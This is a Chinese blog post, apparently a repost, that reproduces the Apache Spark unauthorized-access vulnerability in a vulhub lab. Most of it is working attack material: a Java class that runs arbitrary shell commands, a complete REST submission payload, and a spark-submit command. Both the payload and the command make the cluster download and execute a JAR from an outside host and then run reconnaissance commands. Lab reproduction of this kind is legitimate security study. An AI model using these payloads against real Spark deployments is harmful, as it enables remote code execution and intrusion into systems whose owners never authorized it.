vulhub漏洞复现-Apache Spark 未授权访问漏洞

Spark

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎,一个完整的的动力核心,负责计算中数据的来源,数据的操作,数据的管理 并将合适的计算结果根据要求给予返回。处理数据处理的目的不同会有很多不同的类别。

思路

未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。提交方法有两种

  1. 利用 REST API
  2. 利用 submissions 网关(集成在 7077 端口中)

参考 Apache Spark 未授权访问漏洞

漏洞复现

docker部署环境时将以 standalone 模式启动一个 Apache Spark 集群,集群里有一个 master 与一个 slave,访问 http://your-ip:8080 即可看到 master 的管理页面,访问 http://your-ip:8081 即可看到 slave 的管理页面。

提交的应用可以是java可以是python,将其编译成 JAR,放在任意一个 HTTP 或 FTP 上,如 http://vulhub.yster.live/1.jar

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
    
    
  public static void main(String[] args) throws Exception {
    
    
    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {
    
    
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
  private static String executeCommand(String command) {
    
    
    StringBuilder output = new StringBuilder();

    try {
    
    
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
    
    
        output.append(line).append("\n");
      }
    } catch (Exception e) {
    
    
      e.printStackTrace();
    }

    return output.toString();
  }
}

在这里插入图片描述

REST API

standalone 模式(Spark集群的三种运行模式之一)下,master 将在 6066 端口启动一个 HTTP 服务器,我们向这个端口提交 REST 格式的 API:
访问并抓包
在这里插入图片描述

POST /v1/submissions/create HTTP/1.1

{
    
    
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "http://vulhub.yster.live/1.jar",
  "environmentVariables": {
    
    
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    
    
    "spark.jars": "http://vulhub.yster.live/1.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://your-ip:6066"
  }
}

1.jar是放上去的应用,mainClass是待运行的类,appArgs是传给应用的参数
在这里插入图片描述
成功返回,访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout查看执行结果

利用 submissions 网关

如果 6066 端口不能访问,或做了权限控制,我们可以利用 master 的主端口 7077,来提交应用。

方法是利用 Apache Spark 自带的脚本 bin/spark-submit:

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit http://vulhub.yster.live/1.jar id

如果你指定的 master 参数是 rest 服务器,这个脚本会先尝试使用 rest api 来提交应用;如果发现不是 rest 服务器,则会降级到使用 submission gateway 来提交应用。

查看结果的方式与前面一致。

猜你喜欢

转载自blog.csdn.net/weixin_54648419/article/details/121007204